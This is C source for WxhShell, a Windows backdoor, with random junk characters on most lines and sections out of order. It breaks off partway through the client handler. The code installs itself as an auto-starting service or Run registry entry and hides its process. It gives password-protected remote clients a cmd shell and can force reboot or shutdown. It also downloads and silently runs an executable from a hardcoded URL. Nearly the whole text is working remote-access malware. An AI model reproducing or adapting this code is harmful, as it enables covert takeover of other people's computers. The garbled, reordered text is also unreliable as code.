    ExitThread(0); I,V'J|=j  
    } $>Gf;k  
    break; [3qJUJM  
    } >f;oY9 {m  
  // 关机 lxBcO/  
  case 'd': { }}wSns  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [mF=<G"  
    if(Boot(SHUTDOWN)) {@Z*.G^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $$R- >  
    else { N8!e(Y K_  
    closesocket(wsh); .SBN^fq  
    ExitThread(0); 5!6}g<z&L  
    } _HAr0R8BY  
    break; ke'OT>8  
    } }-&#vP~I  
  // 获取shell ^SS9BQ*m  
  case 's': { $:?=A5ttuo  
    CmdShell(wsh); %F<3_#Y  
    closesocket(wsh); t'C9;  
    ExitThread(0); N9z!-y'X  
    break; Y1BxRd?D  
  } =g=Vv"B_  
  // 退出 1+-F3ROP  
  case 'x': { l%`~aVGJ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s ZokiFJ  
    CloseIt(wsh); -Q1~lN m:  
    break; b+BX >$  
    } 0%3T'N%  
  // 离开 C+gu'hD  
  case 'q': { 1i Q(q\%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5zt5]zl'  
    closesocket(wsh); g$8a B{)  
    WSACleanup(); "azrcC  
    exit(1); O)r>AdLGn  
    break; Z3iX^  
        } ;;LiZlf  
  } aQ)g7C  
  } ^Ux*"\/Es  
Ll^9,G"Tt  
  // 提示信息 <a2Kc '  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PU\@^)$  
} Ki3 wqY  
  } O[ ^zQA  
MO79FNH2\  
  return; BFn}~\wzK  
} ?=?9a  
yF^)H{yx  
// shell模块句柄 opCQ=G1  
int CmdShell(SOCKET sock) AOCiIPw  
{ o4&#,m+ :  
STARTUPINFO si; 2V*<J:;wb  
ZeroMemory(&si,sizeof(si)); yn{U/+  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ' @j8tK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oF0*X$_X  
PROCESS_INFORMATION ProcessInfo; +L#):xr  
char cmdline[]="cmd"; uTP4r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oc&yz>%q  
  return 0; @wXo{p@W  
} 6r)qM)97  
om,=.,|Ld  
// 自身启动模式 r$Y% 15JV  
int StartFromService(void) N,`<:'  
{ DVRbTz3V  
typedef struct 7me1 :}4  
{ =v=H{*dWA  
  DWORD ExitStatus; [0n&?<<  
  DWORD PebBaseAddress; fOO[`"'Pq  
  DWORD AffinityMask; \"A~ks~  
  DWORD BasePriority; " gi 1{  
  ULONG UniqueProcessId; 5LxzET"P  
  ULONG InheritedFromUniqueProcessId; cUr'mb  
}   PROCESS_BASIC_INFORMATION; ]F,v#6qi  
Ea3 4x  
PROCNTQSIP NtQueryInformationProcess; U^$l$"~"  
LpSd/_^b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; h&?tF~h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SyR[G*djl  
$RV'DQO  
  HANDLE             hProcess; -ID!kZx  
  PROCESS_BASIC_INFORMATION pbi; n15lX,FI  
C Eb .?B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O7T wM Yh  
  if(NULL == hInst ) return 0; &k {1N.  
Yy8%vDdJO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )Y,>cg:z~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^2um.`8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); `LCxxpHi|  
LgS.%Mn  
  if (!NtQueryInformationProcess) return 0; ^'aMp}3iu  
.;9I:YB$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9Z_98 Rh  
  if(!hProcess) return 0; V9kL\Ys  
dg42K`E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,LJX  
_p=O*$b.  
  CloseHandle(hProcess); K)t+lJ  
}))JzrqAe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); To19=,:  
if(hProcess==NULL) return 0; 4*9:  
&`[Dl(W  
HMODULE hMod; c1p*}T  
char procName[255]; fmj-&6  
unsigned long cbNeeded; ]i@VIvYq  
Flzl,3rW4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W%RjjL J@  
{sL(PS.z  
  CloseHandle(hProcess); ?k*s!YCZ  
O WVa&8O  
if(strstr(procName,"services")) return 1; // 以服务启动 c~+l|r=u?  
^+ +ec>  
  return 0; // 注册表启动 bI~(<-S~K  
} Y r^C+Oyg  
NbnuQPb'  
// 主模块 #~^Y2-C#  
int StartWxhshell(LPSTR lpCmdLine) I8 {2cM;  
{ 9:tKRN_D  
  SOCKET wsl; w/HGmVa  
BOOL val=TRUE; `7zNVYur8  
  int port=0; /xRPQ|  
  struct sockaddr_in door; `P<m`*  
Yj^n4G(h  
  if(wscfg.ws_autoins) Install(); ^g2p!7  
#b4Pn`[   
port=atoi(lpCmdLine); @l:\Ka~TS  
wA<#E6^vG  
if(port<=0) port=wscfg.ws_port; &Rx-zp&dJ  
ISuye2tExq  
  WSADATA data; +9mnxU>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 64OgE!  
Vee`q.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D=nuK25  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'WG%O7s.  
  door.sin_family = AF_INET; 4X2/n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~Xg@,?Zr  
  door.sin_port = htons(port); 2*K _RMr~  
7.PG*q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z`D;8x2b  
closesocket(wsl); ggUJ -M'2h  
return 1; yA+:\%y$  
} 0g@ 8x_3  
c91rc>  
  if(listen(wsl,2) == INVALID_SOCKET) { 5M2G ;o  
closesocket(wsl); 5? `*i"  
return 1; W=Ru?sG=  
} 4=>4fia&D  
  Wxhshell(wsl); Py[Z9KLX  
  WSACleanup(); Y&k6Xhuao  
\$Nx`d aFi  
return 0; iS^IqS  
/CAi%UH,F  
} S&@uY#_(*T  
xhIC["z5  
// 以NT服务方式启动 FXPw 5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $b/oiy!=|3  
{ ^MesP:[2  
DWORD   status = 0; bb6J$NR  
  DWORD   specificError = 0xfffffff; el*C8TWlw  
37@_"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q2)z1'Wv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i!30f^9D-S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :*"0o{ ie  
  serviceStatus.dwWin32ExitCode     = 0; 4#Fz!Km  
  serviceStatus.dwServiceSpecificExitCode = 0; ruLi "d  
  serviceStatus.dwCheckPoint       = 0; KF|<A@V  
  serviceStatus.dwWaitHint       = 0; ]3C&l+m$ot  
X'Dg= |  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EF?@f{YY$n  
  if (hServiceStatusHandle==0) return; EwcN$Ma  
PYl(~Vac  
status = GetLastError(); W,i SN}  
  if (status!=NO_ERROR) &LO<!WKQ  
{ (ROurq"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y zXL8  
    serviceStatus.dwCheckPoint       = 0; A`4j=OF\  
    serviceStatus.dwWaitHint       = 0; sV/#P<9  
    serviceStatus.dwWin32ExitCode     = status; 9i8D_[  
    serviceStatus.dwServiceSpecificExitCode = specificError; D84`#Xbi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O>z M(I+p  
    return; wY2#xD  
  } WVp7H  
dIG(7 ~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \w!G  
  serviceStatus.dwCheckPoint       = 0; ki#O ^vl  
  serviceStatus.dwWaitHint       = 0; gg(^:`+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *BYSfcX6  
} /s>ZT8vaAs  
sY=fS2b#)  
// 处理NT服务事件,比如:启动、停止 _'k?9eN`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1\q2;5  
{ h5G>FPM-=  
switch(fdwControl) SxYX`NQ  
{ ?]081l7cd  
case SERVICE_CONTROL_STOP: CE>RAerY  
  serviceStatus.dwWin32ExitCode = 0; sT9P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t+k"$zR  
  serviceStatus.dwCheckPoint   = 0; l|`%FB^k  
  serviceStatus.dwWaitHint     = 0; 9N|O*h1;u  
  { c xdhG"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Xw .iN]g  
  } twqjaFA>  
  return; BlS0I%SN  
case SERVICE_CONTROL_PAUSE: @4 m_\]Wy  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; nJF"[w,?  
  break; wxARD3%  
case SERVICE_CONTROL_CONTINUE: /_?E0 r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >A|6 kzC  
  break; h3D8eR.  
case SERVICE_CONTROL_INTERROGATE: *Wv]DV=\  
  break; ,8g~,tMr+  
}; XB-pOtVm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zPU& }7  
} A+3@N99HeH  
[1'`KJ]  
// 标准应用程序主函数 x2.G1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e =Vu;  
{ lDNB0Ad  
@c{=:kg5  
// 获取操作系统版本 S=^yJ6 xJ  
OsIsNt=GetOsVer(); p%CAicn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $!Z6?+  
6TxZ^&=  
  // 从命令行安装 Z mF}pa,gd  
  if(strpbrk(lpCmdLine,"iI")) Install(); O,ZvV3  
%-|Po:6  
  // 下载执行文件 2"C'Au  
if(wscfg.ws_downexe) { LWc}j`Wd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _r5Q%8J  
  WinExec(wscfg.ws_filenam,SW_HIDE); 59 O;`y0  
} WEUr;f  
|Sy |E  
if(!OsIsNt) { g>x2[//pk  
// 如果时win9x,隐藏进程并且设置为注册表启动 H1f){L97wR  
HideProc(); 5.#r\' Z#  
StartWxhshell(lpCmdLine); _CP e  
} "-kb=fY  
else  Z $Ynar  
  if(StartFromService()) Y4}!9x  
  // 以服务方式启动 `h( JD$w  
  StartServiceCtrlDispatcher(DispatchTable); umYq56dw  
else EkM?Rs  
  // 普通方式启动 q(e&{pbM)  
  StartWxhshell(lpCmdLine); C<2vuZD  
X^#48*"a  
return 0; R>Fie5?  
} @"-<m|lM  
8HdmG{7.  
oJR0sbikP  
}8p;w T!  
=========================================== BD[XP`[{  
(1fE^KF@f  
G5E03xvL  
JJq= {;  
;_M .(8L  
n[CESo%[  
" ~qLbyzHaB  
I)V2cOrXM  
#include <stdio.h> tS8*l2Y`   
#include <string.h> LC K   
#include <windows.h> CN\SxK`,  
#include <winsock2.h> xZjD(e'  
#include <winsvc.h> |Rw0$he  
#include <urlmon.h> C 7YZ;{t  
b4!(~"b.  
#pragma comment (lib, "Ws2_32.lib") q/Ba#?sen  
#pragma comment (lib, "urlmon.lib") MftW^7W-  
{bl&r?[y  
#define MAX_USER   100 // 最大客户端连接数 ^6mlE+WY  
#define BUF_SOCK   200 // sock buffer Xdsd5 UUM  
#define KEY_BUFF   255 // 输入 buffer |dpOE<f[  
VjSb>k   
#define REBOOT     0   // 重启 K0yTHX?(.  
#define SHUTDOWN   1   // 关机 rv1kIc5Za<  
2J^6(vk  
#define DEF_PORT   5000 // 监听端口 U5z^R>k  
}XWic88!~  
#define REG_LEN     16   // 注册表键长度 /}-]n81m  
#define SVC_LEN     80   // NT服务名长度 {7[^L1  
!v<r=u  
// 从dll定义API sAfSI<L_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <w(UDZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Il%LI   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^.&uYF&  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uO>$,s  
C[gCwDwl  
// wxhshell配置信息 cPi 3UjY~  
struct WSCFG { XgP7 !  
  int ws_port;         // 监听端口 .6+j&{WNo!  
  char ws_passstr[REG_LEN]; // 口令 `+1+0?9  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9 bYoWw  
  char ws_regname[REG_LEN]; // 注册表键名 *TVr| to  
  char ws_svcname[REG_LEN]; // 服务名 '0GCaL*Sd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pvQw+jX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WmP"u7I4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G/J5aj[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R+#|<e5@%o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 49^;T;'v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #+|{l*>  
!>Db  
}; SfyZ,0  
)TFaG[tj  
// default Wxhshell configuration VZ'[\3J  
struct WSCFG wscfg={DEF_PORT, oh-Y  
    "xuhuanlingzhe", 8n?qm96  
    1, kih;'>H<  
    "Wxhshell", {3lsDU4  
    "Wxhshell", $GNN* WmHw  
            "WxhShell Service", ~dC)EG  
    "Wrsky Windows CmdShell Service", )7Gm<r  
    "Please Input Your Password: ", iKN~fGRc  
  1, Mi,yg=V  
  "http://www.wrsky.com/wxhshell.exe", D5Wo e&g,  
  "Wxhshell.exe" $FZ~]Ef  
    }; &Vg+n 0  
iUFS1SN \  
// 消息定义模块 LoSblV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z J93EtlF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d5fnJ*a>l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fAm^-uq[  
char *msg_ws_ext="\n\rExit."; !fZ\GOx  
char *msg_ws_end="\n\rQuit."; w<<>XIL  
char *msg_ws_boot="\n\rReboot..."; n'9Wl'  
char *msg_ws_poff="\n\rShutdown..."; H ifKa/}P8  
char *msg_ws_down="\n\rSave to "; qxf!]jm  
EeG7 %S 5(  
char *msg_ws_err="\n\rErr!"; & V^ Z  
char *msg_ws_ok="\n\rOK!"; H)}>&Z4  
Ij` %'/J  
char ExeFile[MAX_PATH]; 0#<q]M?hW  
int nUser = 0; 'Xoif"  
HANDLE handles[MAX_USER]; " JFx  
int OsIsNt; %/"I.\%d  
2Hw&}8  
SERVICE_STATUS       serviceStatus; !'wh hi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; c [sydl  
U BzX%:A  
// 函数声明 t,#7F$t  
int Install(void); jOa . h  
int Uninstall(void); ^=.R#zrc  
int DownloadFile(char *sURL, SOCKET wsh); D+P(  
int Boot(int flag); F{0Z  
void HideProc(void); BaZ$pO^  
int GetOsVer(void); 'FgBYy/  
int Wxhshell(SOCKET wsl); P}29wrIZ  
void TalkWithClient(void *cs); 8om6wALXB  
int CmdShell(SOCKET sock); 7n9&@D3 :P  
int StartFromService(void); t6m3lq{  
int StartWxhshell(LPSTR lpCmdLine); Bha#=>4FU  
0_q8t!<xJw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y^zII5|s  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U>w#`Sy[  
;{EIx*<d  
// 数据结构和表定义 }(A`aB_  
SERVICE_TABLE_ENTRY DispatchTable[] = O;z:?  
{ T$%r?p(s  
{wscfg.ws_svcname, NTServiceMain}, n^B9Mh @  
{NULL, NULL} 3}(6z"r  
}; 1K?RA*aj  
;>np2K<`  
// 自我安装 GK .^Gd  
int Install(void) 4~xKW2*`K  
{ H )hO/1 m  
  char svExeFile[MAX_PATH]; L[lX?g?Ob  
  HKEY key; g"ha1<y<  
  strcpy(svExeFile,ExeFile); r*HbglB  
dv -L!C  
// 如果是win9x系统,修改注册表设为自启动 DXBc 7J  
if(!OsIsNt) { S "'0l S   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @&?E3?5ll  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n75)%-  
  RegCloseKey(key); k>E^FB=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fb-Lp#!T39  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q;Tdqv!Ju  
  RegCloseKey(key); WD# 96V  
  return 0; 94VtGg=b}  
    } J{;XNf =  
  } KBE3q)  
} g%Bh-O9\  
else { v e($l"T  
${m;x:'  
// 如果是NT以上系统,安装为系统服务 fn.KZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yJQ>u  
if (schSCManager!=0) OL]P(HRm]~  
{ EQI9 J#;+  
  SC_HANDLE schService = CreateService h ` qlI1]  
  ( fh_+M"Y0`  
  schSCManager, -!;2?6R9{  
  wscfg.ws_svcname, N8x[8Rp  
  wscfg.ws_svcdisp, <}75Xo  
  SERVICE_ALL_ACCESS, Ha~F&H|"O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _D~l2M  
  SERVICE_AUTO_START, K&ZN!VN/p  
  SERVICE_ERROR_NORMAL, g>G+?PY  
  svExeFile, m}A|W[p<  
  NULL, TOapq9B]  
  NULL, -p.c8B  
  NULL, 6&| hpp#[  
  NULL, Y`F)UwKK  
  NULL $B%wK`J  
  ); QO2@K1Y  
  if (schService!=0) (xpt_]Q!H  
  { ebno:)  
  CloseServiceHandle(schService); /2^"c+/'p  
  CloseServiceHandle(schSCManager); =LXjq~p  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8tfM,.]_i  
  strcat(svExeFile,wscfg.ws_svcname); '41'Gn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .3 >"qv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |w5m2Z  
  RegCloseKey(key); S[ch/  
  return 0; L~oy|K67  
    } 37apOK4+  
  } #($~e|  
  CloseServiceHandle(schSCManager); +YZ*>ki  
} F m?j-'  
} {zX]4 1T  
Fn>KdoByN  
return 1; )<Fq}Q86  
} 4)"S /u  
Zd5Jz+f  
// 自我卸载 'tTUro1~  
int Uninstall(void) ~c,CngeL0  
{ -pmb-#`M  
  HKEY key; Gj_7wP$  
^H"o=K8=  
if(!OsIsNt) { &F- \t5X=i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r>: ~!o*  
  RegDeleteValue(key,wscfg.ws_regname); y1{TVpN  
  RegCloseKey(key); = 6Fpixq>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )ifjK6*  
  RegDeleteValue(key,wscfg.ws_regname); :FTx#cZ  
  RegCloseKey(key); XHU\;TF  
  return 0; QC,fyw\  
  } (}g4}A@x  
} GY>G}bfh  
} O&dBLh!G  
else { GYZP?E p*  
rp9?p%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {N3&JL5\"E  
if (schSCManager!=0) Hf /ZaBn  
{ u6nO\.TTtY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +m9ouF  
  if (schService!=0) }!Y=SP1e  
  { N5[^W`Qf  
  if(DeleteService(schService)!=0) { HQvJ*U4++  
  CloseServiceHandle(schService); pMHF u/|Pr  
  CloseServiceHandle(schSCManager); z$gtGrU  
  return 0; kmUL^vF  
  } r<$o [,W  
  CloseServiceHandle(schService); 4#CHX^De  
  } "(r%`.l=I  
  CloseServiceHandle(schSCManager); ;6eBfMhL  
} jme`Tyd  
} 0~~yYo&  
[#=IKsO'R6  
return 1; ZDG~tCh=@  
} l`uI K.  
7fI2b,~  
// 从指定url下载文件 7nm'v'\u+V  
int DownloadFile(char *sURL, SOCKET wsh) ,,SV@y;  
{ hK,a8%KnFA  
  HRESULT hr; 5cGQ`l  
char seps[]= "/"; FnKC|X  
char *token; Fw\g\  
char *file; \TZSn1isZX  
char myURL[MAX_PATH]; e)= " Fq!  
char myFILE[MAX_PATH]; ZNVrja*  
Sn S$5o  
strcpy(myURL,sURL); b'``0OB)  
  token=strtok(myURL,seps); z&cM8w:  
  while(token!=NULL) 7Db}bDU1 |  
  { ollsB3]]  
    file=token; `Of D^Q=  
  token=strtok(NULL,seps); SJ91(K  
  } Q^;:Kl.b  
ua"2nVxK_K  
GetCurrentDirectory(MAX_PATH,myFILE); s+~GQcj<T  
strcat(myFILE, "\\"); )=#e*1!b  
strcat(myFILE, file); Esu {c9,  
  send(wsh,myFILE,strlen(myFILE),0); j]FK.G'  
send(wsh,"...",3,0); "fr{:'HX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Uks%Mo9on  
  if(hr==S_OK) h%U}Y5Ps~  
return 0; O6/:J#X%  
else $ay!'MK0d  
return 1; oYdE s&qq  
&?1O D5  
} ^2H;  
dB6['z)2  
// 系统电源模块 ,PmUl=  
int Boot(int flag) Nc &J%a  
{ %3O))Ug5  
  HANDLE hToken; -#v1/L/=  
  TOKEN_PRIVILEGES tkp; x3g4r_  
J/fnSy  
  if(OsIsNt) { @I}VD\pF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =&6sU{j*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .%y'q!?  
    tkp.PrivilegeCount = 1; ;>>n#8`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Th$Z9+()  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @R}3f6@67  
if(flag==REBOOT) { |_ +#&x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) AT)b/ycC  
  return 0; $|xSM2  
} n\)1Bz  
else { <}:` Y"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  z3]W #  
  return 0; ?m5E Xe  
} *L9v(Kc  
  } Gbjh|j=  
  else { >{QO$F#  
if(flag==REBOOT) { aW*k,\:e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q?;Tc.O"/  
  return 0; 6_<~]W&  
} ;@T0wd_i|  
else { DI8<0.L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `3 i<jZMG  
  return 0; PxgJ7d  
} a _+?#m  
} ]+46r!r|  
(:qc[,m  
return 1; r88De=*  
} `<yQ`Y_X  
I ^m  
// win9x进程隐藏模块 ax>j3HKi  
void HideProc(void) m3BL  
{ 5L:-Xr{  
jQzl!f1c3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Db<#gH  
  if ( hKernel != NULL ) @J&korU  
  { X3a9-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'prHXzi(h  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %0}^M1  
    FreeLibrary(hKernel); ]VxC]a2  
  } Y*$>d/E  
I-Z|FKh_C  
return; vue^bn  
} * eC[74Kng  
);':aX j  
// 获取操作系统版本 +^lB"OcOX@  
int GetOsVer(void) ?WHf%Ie2(  
{ #H w(w  
  OSVERSIONINFO winfo; iX6>u4~(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C&>*~  
  GetVersionEx(&winfo); | bz%SB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BaW4 s4u  
  return 1; uZtN,Un  
  else +:uz=~m o`  
  return 0; 'Zp{  
} i ? ~-%  
n'v\2(&uYN  
// 客户端句柄模块 ?/"|tuQMW  
int Wxhshell(SOCKET wsl) cd1G.10  
{ R8k4?_W?T  
  SOCKET wsh; ~<f[7dBv  
  struct sockaddr_in client; _0v+'&bz  
  DWORD myID; sde>LZet/  
K\rQb  
  while(nUser<MAX_USER) V-}}?c1 F  
{ <M@-|K"Eb  
  int nSize=sizeof(client); KF00=HE|]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s 91[@rh/  
  if(wsh==INVALID_SOCKET) return 1; !*}UP|8  
/3,Lp-kp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >P SO]%mE  
if(handles[nUser]==0) ,JE_aje7  
  closesocket(wsh); Q0Ft.b  
else X)[tb]U/Wx  
  nUser++; }a||@unr  
  } -p&u=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L)bMO8JH~m  
##=$ $1Ki  
  return 0; OQ&N]P2p  
} B6Kl_~gT  
7bzm5w@v  
// 关闭 socket lb. Q^TghU  
void CloseIt(SOCKET wsh) 6sSwSS  
{ <'~m1l#2  
closesocket(wsh); [&n[p?  
nUser--; h9)fXW  
ExitThread(0); %`yfi+e  
} GYx0U8MJ[e  
)Xjn:  
// 客户端请求句柄 Q+=pP'cV  
void TalkWithClient(void *cs) tO 8\} u4c  
{ *z?Uh$I4  
3$nK   
  SOCKET wsh=(SOCKET)cs; ^obuMQ;  
  char pwd[SVC_LEN]; 9pqsr~  
  char cmd[KEY_BUFF]; Bi:lC5d5?  
char chr[1]; din,yHu~  
int i,j; ?b,>+v-w::  
&2y4k"B&)  
  while (nUser < MAX_USER) { ::oFL#+  
Kd`(^  
if(wscfg.ws_passstr) { a)JXxst  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g[O?wH-a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N $) G 8  
  //ZeroMemory(pwd,KEY_BUFF); "Gp[.=.z?  
      i=0; {h@\C|nF  
  while(i<SVC_LEN) { Or5?Gt  
[j+:2@  
  // 设置超时 1IA1;  
  fd_set FdRead; ?eIb7O  
  struct timeval TimeOut; vd4@jZ5  
  FD_ZERO(&FdRead); ,Y/B49  
  FD_SET(wsh,&FdRead); AU$~Ap*rsa  
  TimeOut.tv_sec=8; [yXmnrxA  
  TimeOut.tv_usec=0; ^-_*@e*JE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1.cP3k l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )x|;%.8FX7  
-`~qmRpqY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cg): Q8  
  pwd=chr[0]; &J6`Q<U!  
  if(chr[0]==0xd || chr[0]==0xa) { N&NBn(  
  pwd=0; }`B .(3n  
  break; _]`7et\=  
  } [s>3xWZ+a  
  i++; fY!?rZ)$  
    } X_TjJmc  
0SIC=p=J  
  // 如果是非法用户,关闭 socket 2!^=G=H/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dH^6K0J  
} by@KdQow  
ST*h{:u&A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); );gY8UL^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }csA|cC  
W[8Kia-OD  
while(1) { /| v.A\ :  
<kK>C8+  
  ZeroMemory(cmd,KEY_BUFF); 5?k5J\+  
=X4Fn^w"4O  
      // 自动支持客户端 telnet标准   |h]V9=  
  j=0; z qeQ  
  while(j<KEY_BUFF) { j>\c > U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r<UVO$N  
  cmd[j]=chr[0]; AHb_BgOU*  
  if(chr[0]==0xa || chr[0]==0xd) { VL9wRu;  
  cmd[j]=0; {]HiTpn  
  break; $+*nb4  
  } f$o^Xu  
  j++; ,n/]ALz>~  
    } 4XN \p  
GJ,&$@8)  
  // 下载文件 Bu{Kjv  
  if(strstr(cmd,"http://")) { 2LwJ%!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); rVz.Ws#  
  if(DownloadFile(cmd,wsh)) ED&nrd1P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); C?z S}ob  
